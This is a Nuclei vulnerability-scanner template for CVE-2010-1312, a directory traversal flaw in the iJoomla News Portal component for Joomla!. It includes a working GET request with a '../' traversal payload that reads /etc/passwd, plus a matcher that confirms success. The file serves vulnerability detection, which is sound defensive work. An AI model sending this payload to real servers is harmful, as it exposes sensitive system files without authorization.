id: CVE-2010-1312

info:
  name: Joomla! Component News Portal 1.5.x - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the iJoomla News Portal (com_news_portal) component 1.5.x for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12077
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1312
    - http://packetstormsecurity.org/1004-exploits/joomlanewportal-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1312
    cwe-id: CWE-22
    epss-score: 0.02612
    epss-percentile: 0.85072
    cpe: cpe:2.3:a:ijoomla:com_news_portal:1.5.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ijoomla
    product: com_news_portal
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,ijoomla

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_news_portal&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022021d0b7e8c7176dadaeeba3d7ebfd7ce8c5f47303220f3d1c2ab1044320b48bf8022100d98913046001c1201adbd5ce42d0d25a2d5cafba33406d2ff0d52319668d580b:922c64590222798bb761d5b6d8e72950